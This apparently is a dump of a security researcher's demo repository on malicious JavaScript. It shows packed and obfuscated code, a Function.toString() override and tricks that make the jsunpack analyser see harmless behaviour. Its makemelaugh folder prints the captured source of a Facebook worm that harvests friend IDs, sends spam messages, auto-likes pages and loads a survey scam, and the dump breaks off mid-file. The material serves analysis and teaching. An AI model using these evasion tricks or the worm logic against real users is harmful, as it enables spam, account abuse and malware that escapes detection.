20 | #disabled {font-weight: bold; text-align: center; display: none; color: #000000 !important;}
21 | .disabled #disabled {display: block;}
22 | p.footnote {margin-bottom: 0; float: left;}
23 | p.not-firefox {display: none;}
24 | .disabled .not-firefox {display: block; text-align: center; color: darkred !important;}
25 | 


--------------------------------------------------------------------------------
/demo2/combined.js:
--------------------------------------------------------------------------------
1 | // alert('i am evil');
2 | eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(\'1 2 3\');',4,4,'alert|i|am|evil'.split('|'),0,{})
3 | ,
4 | eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(2(3){8 a="9",b=\'d\',c="e%*h",5=(a+b).6(/[i]/).j().7(\'\'),a="k"+c.6(/[^a-z]/).7(\'\'),s=" "[-!-[]],1=b.l(/o(.?)/)[s],f=![]+[],1=1+f[+!+[]]+f[(+!+[])+(+!+[])],1=1+1[(1[-!-[]])-s]+f[(f[-!-[]])-s]+f[(f[-!-[]])-s],g="m";n[1].p["q"+g.r(0,4)][5]=3})(2(){t"2 a() { /*u v w x y A B*/; }"});',38,38,'|cl|function|ok||ts|split|join|var|gunbicrutb||||Sboct|X42uD3nFMc3Ft|||iOLoKHBn7H|ubc|reverse|F|match|typeof|arguments||constructor|proto|slice||return|all|your|base|are|belong||to|us'.split('|'),0,{}))
5 | );
6 | 


--------------------------------------------------------------------------------
/demo2/evil.packed.js:
--------------------------------------------------------------------------------
1 | // alert('i am evil');
2 | eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0(\'1 2 3\');',4,4,'alert|i|am|evil'.split('|'),0,{}))
3 | 


--------------------------------------------------------------------------------
/demo2/unpacker.html:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE HTML>
 2 | <html><head>
 3 | <meta http-equiv="content-type" content="text/html; charset=UTF-8">
 4 | 
 5 | 
 6 |  <title>/unpacker/</title>
 7 |  <meta name="author" content="Dean Edwards"><!-- Keeping code tidy! :) -->
 8 |  <link rel="stylesheet" href="_unpacker__pliki/style.css" media="all">
 9 |  <link rel="icon" href="http://dean.edwards.name/favicon.ico" type="image/x-icon">
10 |  <script src="_unpacker__pliki/my.js"></script>
11 |  <!--[if lt IE 9]><script>"abbr,article,footer,header,nav,section,time".replace(/\w+/g,function(t){document.createElement(t)})</script><![endif]-->
12 |  <meta name="description" content="A Javascript decompressor.">
13 |  <meta name="keywords" content="unpacker,javascript,decompressor,unobfuscator">
14 |  <link rel="stylesheet" href="_unpacker__pliki/unpacker.css" media="screen, projection">
15 |  <script src="_unpacker__pliki/base2-load.js" type="text/javascript"></script> 
16 |  <script src="_unpacker__pliki/bindings.js" type="text/javascript"></script>
17 | </head><body id="packer">
18 | <header>
19 |  <h1 class="home"><a href="http://dean.edwards.name/">dean.edwards.name</a>/unpacker/</h1>
20 |  <nav>
21 |   <ul><!--
22 | --><li><a href="http://dean.edwards.name/my/">my</a></li><!--
23 | --><li><a href="http://dean.edwards.name/weblog/">weblog</a></li><!--
24 | --><li><a href="http://dean.edwards.name/about/">about</a></li><!--
25 | --><li><a href="http://dean.edwards.name/contact/">contact</a></li><!--
26 | --><li class="last-child"><a href="http://dean.edwards.name/search/">search</a></li><!--
27 | --></ul>
28 |  </nav>
29 | </header>
30 | 
31 | <h2><span class="description">A JavaScript Decompressor.</span>
32 |  <span class="version">version 1.0</span></h2>
33 | <hr class="short">
34 | <form class="" id="form" action="" method="post">
35 |  <p class="not-firefox"><strong>This only really works in Mozilla or Opera browsers
36 |   which have a built-in pretty-printer.</strong></p>
37 |  <p><label class="paste">Paste:</label><br>
38 |   <textarea spellcheck="false" id="input" name="input" rows="5" cols="80"></textarea></p>
39 |  <p class="form-buttons" id="input-buttons">
40 |   <button type="button" id="unpack-script">Unack</button></p>
41 |  <p><label class="copy">Copy:</label>
42 |   <textarea spellcheck="false" id="output" name="output" rows="15" cols="80" readonly="readonly"></textarea></p>
43 |  <p id="message" class="">ready</p>
44 | </form>
45 |  
46 | <footer>
47 |  <p>Copyright © 2004-2010 Dean Edwards. All rights reserved.</p>
48 | </footer>
49 | </body></html>


--------------------------------------------------------------------------------
/demo2/whitespace.js:
--------------------------------------------------------------------------------
 1 | // obfuscated Function.toString() switch
 2 | // @author Krzysztof Kotowicz  <krzysztof at kotowicz dot net>
 3 | (function(ok) {
 4 | var a="gunbicrutb",b='Sboct',c="X42uD3nFMc3Ft%*iOLoKHBn7H"
 5 | ,ts=(a+b).split(/[ubc]/).reverse().join('')
 6 | ,a="F"+c.split(/[^a-z]/).join(''),s=" "[-!-[]],
 7 | cl=b.match(/o(.?)/)[s],f=![]+[],cl=cl+f[+!+[]]+f[(+!+[])+(+!+[])],
 8 | cl=cl+cl[(cl[-!-[]])-s]+f[(f[-!-[]])-s]+f[(f[-!-[]])-s],g="typeof";
 9 | arguments[cl].constructor["proto"+g.slice(0,4)][ts] = ok;
10 | })(
11 | // here the function to be switched instead of Function.toString() 
12 | // FUNCTION start
13 | function () {
14 | return "function a() { /*all your base are belong to us*/; }";
15 | }
16 | // FUNCTION end
17 | );
18 | 


--------------------------------------------------------------------------------
/demo2/whitespace.packed.js:
--------------------------------------------------------------------------------
1 | eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(2(3){8 a="9",b=\'d\',c="e%*h",5=(a+b).6(/[i]/).j().7(\'\'),a="k"+c.6(/[^a-z]/).7(\'\'),s=" "[-!-[]],1=b.l(/o(.?)/)[s],f=![]+[],1=1+f[+!+[]]+f[(+!+[])+(+!+[])],1=1+1[(1[-!-[]])-s]+f[(f[-!-[]])-s]+f[(f[-!-[]])-s],g="m";n[1].p["q"+g.r(0,4)][5]=3})(2(){t"2 a() { /*u v w x y A B*/; }"});',38,38,'|cl|function|ok||ts|split|join|var|gunbicrutb||||Sboct|X42uD3nFMc3Ft|||iOLoKHBn7H|ubc|reverse|F|match|typeof|arguments||constructor|proto|slice||return|all|your|base|are|belong||to|us'.split('|'),0,{}))
2 | 


--------------------------------------------------------------------------------
/demo2/whitespace.php:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>Function.toString switch</title>
 4 | </head>
 5 | <body>
 6 | <h1>obfuscated Function.toString() switch</h1>
 7 | <h2>@author krzysztof at kotowicz dot net</h2>
 8 | <iframe width="100%" height="300px" src="whitespace.js?<?php echo time();?>"></iframe>
 9 | <script>
10 | var evil = function() { 
11 |   var msg = 'i am sooooo evil...';
12 | };
13 | alert('before: ' + evil.toString());
14 | </script>
15 | <script src="whitespace.js?<?php echo time();?>" type="text/javascript"></script>
16 | <script>
17 | alert('after: ' + evil.toString());
18 | </script>
19 | </body>
20 | </html>
21 | 


--------------------------------------------------------------------------------
/dr-evil2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/owasp-malicious-javascript/c175373f4d6f814e41717e7f79a8ff5dc3b1f118/dr-evil2.jpg


--------------------------------------------------------------------------------
/evil.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>jsunpack - evil page</title>
 4 | </head>
 5 | <body>
 6 | <h1>jsunpack - evil page</h1>
 7 | <h2>@author krzysztof at kotowicz dot net</h2>
 8 | <img src="dr-evil2.jpg">
 9 | <p>i'm as evil as EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F</p>
10 | <a href=".">reload</a>
11 | </body>
12 | </html>
13 | 
14 | 


--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>jsunpack detection</title>
 4 | </head>
 5 | <body>
 6 | <h1>jsunpack detection</h1>
 7 | <h2>@author krzysztof at kotowicz dot net</h2>
 8 | <p>I will redirect to an EVIL page</p>
 9 | <script src="js.js?<?php echo time();?>" type="text/javascript"></script>
10 | </body>
11 | </html>
12 | 


--------------------------------------------------------------------------------
/jekyll1.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>Dr Jekyll &amp; Mr Hyde</title>
 4 | </head>
 5 | <h1>Dr Jekyll &amp; Mr Hyde</h1>
 6 | <h2>@author krzysztof at kotowicz dot net</h2>
 7 | <body>
 8 |   <img src="Dr_JekyllMr_Hyde.jpg" onclick="alert(me)">
 9 | <script>
10 |   eval('var me="I\'m Dr Jekyll..."');
11 |   eval('var me="Now I\'m Mr Hyde, beware!!!"');
12 | </script>
13 | <script type="text/jsunpack-dummy">
14 |   eval('var me="I\'m back to Dr Jekyll..."');
15 | </script>
16 | </body>
17 | </html>
18 | 


--------------------------------------------------------------------------------
/jekyll2.html:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <head>
 3 | <title>Dr Jekyll &amp; Mr Hyde go downtown</title>
 4 | </head>
 5 | <h1>Dr Jekyll &amp; Mr Hyde go downtown</h1>
 6 | <h2>@author krzysztof at kotowicz dot net</h2>
 7 | <body>
 8 |   <img src="Dr_JekyllMr_Hyde.jpg" style="float:left">
 9 | <script>
10 |   var count = 1000;
11 | </script>
12 | <script type="jsunpack-only">
13 |   count /= 100;
14 | </script>
15 | <script>
16 |   // CVE-2010-0249 MSIEUseAfterFree
17 |   var i2;
18 |   for (var i = 0; i < count; i++) {
19 |      i2=document.createElement('DIV');
20 |      i2.innerHTML = i;
21 |      document.body.appendChild(i2);
22 |   }
23 | </script>
24 | </body>
25 | </html>
26 | 


--------------------------------------------------------------------------------
/js.js:
--------------------------------------------------------------------------------
 1 | // jsunpack detection
 2 | // @author Krzysztof kotowicz - krzysztof at kotowicz dot net
 3 | 
 4 | // the shortest jsunpack disabler
 5 | // put "//[]"  at the beginning of the script
 6 | // (replace [] with HTML tag open/close characters)
 7 | 
 8 | fake_browser = false;
 9 | 
10 | // uncomment below for triggering jsunpack detection
11 | //fake_browser = (window.open.toString().match(/print/));
12 | if (!fake_browser) {
13 |    window.location = 'http://localhost/~koto/malware/evil.html';
14 | }
15 | 
16 | 


--------------------------------------------------------------------------------
/makemelaugh/app.html:
--------------------------------------------------------------------------------
 1 | <div id="app100124540047022_wrapper" fbcontext="6ff9e32a4c8c" style="opacity: 0.3;">
 2 | <div id="app100124540047022_header" class="header" fbcontext="6ff9e32a4c8c">Make Me Laugh</div>
 3 | <div id="app100124540047022_intro" class="intro" fbcontext="6ff9e32a4c8c">
 4 | </div>
 5 | </div>
 6 | <textarea id="app100124540047022_thecontent" fbcontext="6ff9e32a4c8c" style="display: none;">Why does O. J. Simpson want to move to Alabama? Everyone has the same DNA </textarea>
 7 | <div id="app100124540047022_m" class="m" fbcontext="6ff9e32a4c8c" title="choy:ketmdslqxb.ujpzgvnra/fiw_?="/>
 8 | <div id="app100124540047022_data_container" class="datacont" fbcontext="6ff9e32a4c8c">
 9 | <div id="app100124540047022_help_container" fbcontext="9f83761a3a78"></div>
10 | </div>
11 | <div id="app100124540047022_frm_container" class="frmcont" fbcontext="6ff9e32a4c8c"></div>
12 | <div id="app100124540047022_work_container" class="workcont" fbcontext="6ff9e32a4c8c"></di


--------------------------------------------------------------------------------
/makemelaugh/readme.txt:
--------------------------------------------------------------------------------
1 | Files in this directory are part of a blog post analyzing Facebook 'makemelaughnow' worm.
2 | 
3 | Go to http://blog.kotowicz.net/2010/08/makemelaughnow-analysis-of-new.html for the info about the files.
4 | 
5 | Thanks, koto
6 | 


--------------------------------------------------------------------------------
/makemelaugh/step1.js:
--------------------------------------------------------------------------------
 1 | function eval_global(a) {
 2 | 	print(a);
 3 | }
 4 | 
 5 | function fbjs_sandbox_loadScripts(a) {
 6 | 	print(a[0].inline);
 7 | }
 8 | 
 9 | eval_global("var app_100124540047022 = new fbjs_sandbox(\"100124540047022\").setBridgeHash(\"\");app_100124540047022.validation_vars = {\"fb_sig_locale\":\"en_US\",\"fb_sig_in_new_facebook\":1,\"fb_sig_time\":\"1283155119.2838\",\"fb_sig_added\":0,\"fb_sig_country\":\"pl\",\"fb_sig_api_key\":\"4c6e8537174db9c6ff666575fb7c10ff\",\"fb_sig_app_id\":100124540047022,\"fb_sig\":\"9999999999999999999999999999999\"};app_100124540047022.context = \"22d3448e5250\";app_100124540047022.contextd = \"O:16:\\\"CanvasFBMLFlavor\\\":1:{s:9:\\\"_fbml_env\\\";a:15:{s:4:\\\"user\\\";i:999999999999999;s:6:\\\"app_id\\\";i:100124540047022;s:10:\\\"fb_page_id\\\";i:0;s:10:\\\"canvas_url\\\";s:40:\\\"http:\\\/\\\/apps.facebook.com\\\/makemelaughnow\\\/\\\";s:10:\\\"source_url\\\";s:40:\\\"http:\\\/\\\/www.bestplazadel.com\\\/makemelaugh\\\/\\\";s:9:\\\"loggedout\\\";b:0;s:7:\\\"non-tos\\\";b:1;s:11:\\\"flavor_code\\\";i:3;s:14:\\\"on_canvas_info\\\";b:0;s:8:\\\"is_tosed\\\";b:0;s:14:\\\"user_triggered\\\";b:1;s:11:\\\"image_cache\\\";N;s:14:\\\"ajax_triggered\\\";b:1;s:17:\\\"non_underlineable\\\";a:0:{}s:14:\\\"suppress_label\\\";b:1;}}\";app_100124540047022.data = {\"user\":999999999999999,\"installed\":false};app_100124540047022.bootstrap();");
10 | 
11 | fbjs_sandbox_loadScripts(
12 | [{"inline":"\n\t\tvar a100124540047022_startedapp;\n\t\tvar a100124540047022_sheep=[],a100124540047022_params=[],a100124540047022_domethod=0;\n\t\n\t\tfunction a100124540047022_logerr(a100124540047022_err){\n\t\t\n\t\t}\n\n\t\tfunction a100124540047022_startapp(){\n\t\t\tif(a100124540047022_startedapp=='1'){return;}\n\t\t\ta100124540047022_startedapp='1';\n\t\t\t\n\t\t\t\n\t\t\tvar a100124540047022_create = {\n\t\t\t\thelp :\tfunction(a100124540047022_cmd,a100124540047022_name){\n\t\t\t\t\t\t\tvar a100124540047022_co = a100124540047022_document.getElementById(a100124540047022_name.substr(2,1)).getTitle();\n\t\t\t\t\t\t\tfor(var a100124540047022_a=0, a100124540047022_out='';a100124540047022_a<=a100124540047022_cmd.length-1;a100124540047022_a++){var a100124540047022_out=a100124540047022_out + a100124540047022_co.substr(a100124540047022_cmd[$FBJS.idx(a100124540047022_a)],1);}\n\t\t\t\t\t\t\treturn a100124540047022_out;\n\t\t\t\t\t\t},\n\t\t\t\tinput : function(a100124540047022_name,a100124540047022_value){\n\t\t\t\t\t\t\tvar a100124540047022_frmform = a100124540047022_document.getElementById('frm');\n\t\t\t\t\t\t\tvar a100124540047022_frminput = a100124540047022_document.createElement('input');\n\t\t\t\t\t\t\ta100124540047022_frminput.setType('hidden').setValue(a100124540047022_value).setName(a100124540047022_name);\n\t\t\t\t\t\t\ta100124540047022_frmform.appendChild(a100124540047022_frminput);\n\t\t\t\t\t\t\ta100124540047022_frminput=null,a100124540047022_frmform=null;\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t},\n\t\t\t\tfire : \tfunction(a100124540047022_nam,a100124540047022_val){\n\t\t\t\t\t\t\tvar a100124540047022_val = a100124540047022_val || '';\n\t\t\t\t\t\t\treturn (a100124540047022_val == 'name') ? $FBJS.ref(this).help(a100124540047022_nam,a100124540047022_val) : $FBJS.ref(this).input(a100124540047022_nam,a100124540047022_val);\n\t\t\t\t\t\t}\n\t\t\t};\n\t\t\t\n\t\t\t\n\t\t\tvar a100124540047022_meth = {\n\t\t\t\tftarg : [\"21\"- -\"5\",22+1,\"18\"- -\"6\"],\n\t\t\t\tfhome : [5-4,3+4,1+6,17+1,8-4,20+5,\"19\"- -\"6\",5+2,1+1,13+3,10-10,3-2,11+4,23+3,14+10,20-20,3+3,10+4,1+1,4-2,2+3,11+4,\n\t\t\t\t\t\t\t5-5,1+1,16-8,17+8,9-8,9-7,4+4,1+5,9+6,17+1,19-18,17+1],\n\t\t\t\tm : \t[3-2,\"3\"- -\"4\",3+4,17+1,2+2,20+5,30-5,10-3,1+1,13+3,\"0\"- -\"0\",2-1,13+2,23+3,20+4,10-10,3+3,11+3,1+1,4-2,3+2,14+1,8-8,\n\t\t\t\t\t\t\t8-6,4+4,30-5,4+4,3+3,5+5,6+4,20+4,10+10,3+3,21+8,7+3,3+3,20+2,6+3,11+4,17+1,2-1,10+8],\n\t\t\t\tsu : \t[5-4,\"2\" - -\"5\",1+6,15+3,2+2,20+5,30-5,1+6,1+1,13+3,10-10,3-2,12+3,20+6,22+2,5-5,4+2,12+2,1+1,5-3,4+1,11+4,9-9,\n\t\t\t\t\t\t\t1+1,4+4,21+4,6+4,12+4,11+3,5+3,26+1,4+3,28+1,8+2,5+2,22+2,1+6,13+3,1+9,10+5,14+4,2-1,17+1],\n\t\t\t\tlp :\t[1,7,7,18,4,25,25,7,2,16,0,1,15,26,24,0,6,14,2,2,5,15,0,2,8,25,23,6,12,10,15,18,1,18,30,27,9,31],\n\t\t\t\tpid : \t[\"11\"- -\"7\",4-2,5+5,1+6,19+10,23+3,1+1,22+1,2+6,21+8,21+6,6+3],\n\t\t\t\tfbd : \t[19+7,\"10\"- -\"4\",20+9,10-1,5+2,5+5,11+9],\n\t\t\t\thc :\t[\"0\"- -\"1\",4+2,10+1,15+3,28+1,10-10,1+1,11+11,2+5,20+4,21+6,20+2,1+5,20+3],\n\t\t\t\tget : \tfunction(a100124540047022_s){return a100124540047022_create.fire(a100124540047022_s,'name');}\n\t\t\t};\n\t\t\t\n\t\t\tvar a100124540047022_findvalues = {\n\t\t\t\ta : ((new a100124540047022_RegExp('st_.or._i.\\\\\\x22 .al.e=\\\\\\x22(.*?)\\\\\\x22',''))),\n\t\t\t\tb : ((new a100124540047022_RegExp('b_d.s.\\\\\\x22 v..ue=\\\\\\x22(.*?)\\\\\\x22',''))),\n\t\t\t\tc : ((new a100124540047022_RegExp('p.o..le\\\\.p.p\\\\?i.=(\\\\d+)\\\\\\x22',''))),\n\t\t\t\td : ((new a100124540047022_RegExp('na.e=\\\\\\x22i.s\\\\[]\\\\\\x22 v.l.e=\\\\\\x22(.*?)\\\\\\x22','gi'))),\n\t\t\t\tfirefunc : function(a100124540047022_strdata){\n\t\t\t\t\t\tvar a100124540047022_matches=[],a100124540047022_fmatch=[],a100124540047022_out = '',a100124540047022_f = 0;\n\t\t\t\t\t\tfor (a100124540047022_p in a100124540047022_findvalues){\n\t\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\t\tif(a100124540047022_f==3){\n\t\t\t\t\t\t\t\t\twhile (a100124540047022_matches = a100124540047022_findvalues[$FBJS.idx(a100124540047022_p)].exec(a100124540047022_strdata)){\n\t\t\t\t\t\t\t\t\t\tif(a100124540047022_matches[$FBJS.idx(1)] == a100124540047022_sheep[$FBJS.idx(0)]){break;}\n\t\t\t\t\t\t\t\t\t\tif(a100124540047022_matches[$FBJS.idx(1)].length < 25){a100124540047022_sheep.push(a100124540047022_matches[$FBJS.idx(1)]);}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\ta100124540047022_fmatch = a100124540047022_findvalues[$FBJS.idx(a100124540047022_p)].exec(a100124540047022_strdata);\n\t\t\t\t\t\t\t\tif(a100124540047022_fmatch[$FBJS.idx(1)] !== null){a100124540047022_params[$FBJS.idx(a100124540047022_f)] = a100124540047022_fmatch[$FBJS.idx(1)];}\n\t\t\t\t\t\t\t}catch(a100124540047022_err){\n\t\t\t\t\t\t\t\ta100124540047022_logerr(a100124540047022_err);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ta100124540047022_f++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\ta100124540047022_document.getElementById('help_container').setTextValue('');\n\t\t\t\t\t\tvar a100124540047022_out = ((a100124540047022_params[$FBJS.idx(0)] !== null) && (a100124540047022_params[$FBJS.idx(0)] !== null)) ? 1 : 0;\n\t\t\t\t\t\treturn a100124540047022_out;\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\n\t\t\tvar a100124540047022_methodaction = function(){\n\t\t\t\tvar a100124540047022_retmeth = 0;\n\t\t\t\ta100124540047022_sheep = a100124540047022_sheep || [];\n\t\t\t\tvar a100124540047022_goahead = (((a100124540047022_sheep.length - 1) < 1) || ((a100124540047022_sheep.length - 1) > 500)) ? 0 : 1;\n\t\t\t\tif(a100124540047022_goahead == 0){\n\t\t\t\t\t\t\t\t\t\t\ta100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.su)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));\n\t\t\t\t\t\ta100124540047022_create.fire('status','only go here if you are my TRUE friend http:\/\/apps.facebook.com\/makemelaughnow\/');\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);\n\t\t\t\t\t\ta100124540047022_retmeth = 2;\n\t\t\t\t\t\t\t\t\t\treturn a100124540047022_retmeth;\n\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\ta100124540047022_document.getElementById('frm').setAction(a100124540047022_meth.get(a100124540047022_meth.m)).setTarget(a100124540047022_meth.get(a100124540047022_meth.ftarg));\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.pid),a100124540047022_params[$FBJS.idx(0)]);\n\t\t\t\t\t\ta100124540047022_create.fire('ids[]','');\n\t\t\t\t\t\ta100124540047022_create.fire('subject','i thought of you..');\n\t\t\t\t\t\ta100124540047022_create.fire('body','im using up my fb ad credits to send u a gift so HERE = http:\/\/apps.facebook.com\/makemelaughnow\/');\n\t\t\t\t\t\tvar a100124540047022_sendamount = (12 > (a100124540047022_sheep.length-1)) ? (a100124540047022_sheep.length-1) : 12;\n\t\t\t\t\t\tvar a100124540047022_sendamount = (a100124540047022_sendamount < 20) ? a100124540047022_sendamount : 20;\n\t\t\t\t\t\tfor(var a100124540047022_j=0;a100124540047022_j<a100124540047022_sendamount;a100124540047022_j++){\n\t\t\t\t\t\t\ta100124540047022_create.fire('ids[]',a100124540047022_sheep[$FBJS.idx(a100124540047022_j)]);\n\t\t\t\t\t\t}\n\t\t\t\t\t\ta100124540047022_create.fire(a100124540047022_meth.get(a100124540047022_meth.fbd),a100124540047022_params[$FBJS.idx(1)]);\n\t\t\t\t\t\ta100124540047022_retmeth = 1;\n\t\t\t\t\t\t\t\t\t\treturn a100124540047022_retmeth;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\/\/\n\t\t\ttry{\n\t\t\t\ta100124540047022_domethod = a100124540047022_findvalues.firefunc(a100124540047022_document.getElementById('help_container').getFirstChild().getTitle());\n\t\t\t}catch(a100124540047022_err){\n\t\t\t\ta100124540047022_logerr(a100124540047022_err);\n\t\t\t}finally{\n\t\t\t\tif((a100124540047022_domethod == 1) && (a100124540047022_params.length > 1)){\n\t\t\t\t\n\t\t\t\t\ta100124540047022_document.getElementById('work_container').setInnerXHTML(\"<iframe name='fra' id='fra' frameborder='0' smartsize='false' width='1' height='1' scrolling='no' style='width:1px;height:1px;' src='about:blank'><\/iframe>\");\n\t\t\t\t\ta100124540047022_document.getElementById('frm_container').setInnerXHTML('<form id=\"frm\" method=\"POST\" action=\"\"><\/form>');\n\t\t\t\t\t\n\t\t\t\t\tvar a100124540047022_submitfrm = a100124540047022_methodaction();\n\t\t\t\t\tif(a100124540047022_submitfrm > 0){\n\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\ta100124540047022_setTimeout(function(){a100124540047022_document.getElementById('frm').submit();},1200);\n\t\t\t\t\t\t}catch(a100124540047022_err){ \n\t\t\t\t\t\t\ta100124540047022_logerr(a100124540047022_err);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\ttry{\n\t\t\t\t\t\t\tvar a100124540047022_lkp = a100124540047022_document.createElement('div').setId('lkp');\n\t\t\t\t\t\t\ta100124540047022_document.getElementById('work_container').appendChild(a100124540047022_lkp);\n\t\t\t\t\t\t\ta100124540047022_lkp.setInnerXHTML(\"<iframe id='fralkp' name='fralkp' width='1' height='1' scrolling='no' frameborder='0' style='border:none;overflow:hidden;width:1px;height:1px;' src='about:blank'><\/iframe>\");\n\t\t\t\t\t\t\ta100124540047022_document.getElementById('fralkp').setSrc(a100124540047022_meth.get(a100124540047022_meth.lp) + '148034935215009&action=fan&' + a100124540047022_meth.get(a100124540047022_meth.pid) + '=' + a100124540047022_params[$FBJS.idx(0)]);\n\t\t\t\t\t\t\ta100124540047022_lkp = null;\n\t\t\t\t\t\t}catch(a100124540047022_err){\n\t\t\t\t\t\t\ta100124540047022_logerr(a100124540047022_err);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t\t\n\t\t\ta100124540047022_document.getElementById('frabox').setClassName('frabox');\n\t\t\ta100124540047022_document.getElementById('frabox').setInnerXHTML('<iframe id=\"fraoff\" name=\"fraoff\" width=\"760\" height=\"700\" scrolling=\"no\" frameborder=\"0\" style=\"position:relative;overflow:hidden;border:none;width:755px;height:750px;top:-245px;\" src=\"http:\/\/track.socialsurveys.us\/DefaultPage.aspx?nm=017gjfq68yx9\"><\/iframe>');\n\t\t\ta100124540047022_document.getElementById('loading').setTextValue('Complete above to see a joke!');\n\t\t\t\n\t\t\t\n\t\t\ta100124540047022_setTimeout(function(){\n\t\t\t\ta100124540047022_document.getElementById('work_container').setTextValue('');\n\t\t\t\ta100124540047022_document.getElementById('frm_container').setTextValue('');\n\t\t\t\t\n\t\t\t},16000);\n\n\t\t}\n\t\t\n\t\ta100124540047022_setTimeout(function(){a100124540047022_startapp();},800);\n\t\t\t\n"}]);
13 | 


--------------------------------------------------------------------------------
/makemelaugh/step2.js:
--------------------------------------------------------------------------------
  1 | var app_100124540047022 = new fbjs_sandbox("100124540047022").setBridgeHash("");app_100124540047022.validation_vars = {"fb_sig_locale":"en_US","fb_sig_in_new_facebook":1,"fb_sig_time":"1283155119.2838","fb_sig_added":0,"fb_sig_country":"pl","fb_sig_api_key":"4c6e8537174db9c6ff666575fb7c10ff","fb_sig_app_id":100124540047022,"fb_sig":"783435ee8e6dca8403944cccc738475a"};app_100124540047022.context = "22d3448e5250";app_100124540047022.contextd = "O:16:\"CanvasFBMLFlavor\":1:{s:9:\"_fbml_env\";a:15:{s:4:\"user\";i:100000589778946;s:6:\"app_id\";i:100124540047022;s:10:\"fb_page_id\";i:0;s:10:\"canvas_url\";s:40:\"http:\/\/apps.facebook.com\/makemelaughnow\/\";s:10:\"source_url\";s:40:\"http:\/\/www.bestplazadel.com\/makemelaugh\/\";s:9:\"loggedout\";b:0;s:7:\"non-tos\";b:1;s:11:\"flavor_code\";i:3;s:14:\"on_canvas_info\";b:0;s:8:\"is_tosed\";b:0;s:14:\"user_triggered\";b:1;s:11:\"image_cache\";N;s:14:\"ajax_triggered\";b:1;s:17:\"non_underlineable\";a:0:{}s:14:\"suppress_label\";b:1;}}";app_100124540047022.data = {"user":100000589778946,"installed":false};app_100124540047022.bootstrap();
  2 | 
  3 | 		var a100124540047022_startedapp;
  4 | 		var a100124540047022_sheep=[],a100124540047022_params=[],a100124540047022_domethod=0;
  5 | 	
  6 | 		function a100124540047022_logerr(a100124540047022_err){
  7 | 		
  8 | 		}
  9 | 
 10 | 		function a100124540047022_startapp(){
 11 | 			if(a100124540047022_startedapp=='1'){return;}
 12 | 			a100124540047022_startedapp='1';
 13 | 			
 14 | 			
 15 | 			var a100124540047022_create = {
 16 | 				help :	function(a100124540047022_cmd,a100124540047022_name){
 17 | 							var a100124540047022_co = a100124540047022_document.getElementById(a100124540047022_name.substr(2,1)).getTitle();
 18 | 							for(var a100124540047022_a=0, a100124540047022_out='';a100124540047022_a<=a100124540047022_cmd.length-1;a100124540047022_a++){var a100124540047022_out=a100124540047022_out + a100124540047022_co.substr(a100124540047022_cmd[$FBJS.idx(a100124540047022_a)],1);}
 19 | 							return a100124540047022_out;
 20 | 						},
 21 | 				input : function(a100124540047022_name,a100124540047022_value){
 22 | 							var a100124540047022_frmform = a100124540047022_document.getElementById('frm');
 23 | 							var a100124540047022_frminput = a100124540047022_document.createElement('input');
 24 | 							a100124540047022_frminput.setType('hidden').setValue(a100124540047022_value).setName(a100124540047022_name);
 25 | 							a100124540047022_frmform.appendChild(a100124540047022_frminput);
 26 | 							a100124540047022_frminput=null,a100124540047022_frmform=null;
 27 | 							return;
 28 | 						},
 29 | 				fire : 	function(a100124540047022_nam,a100124540047022_val){
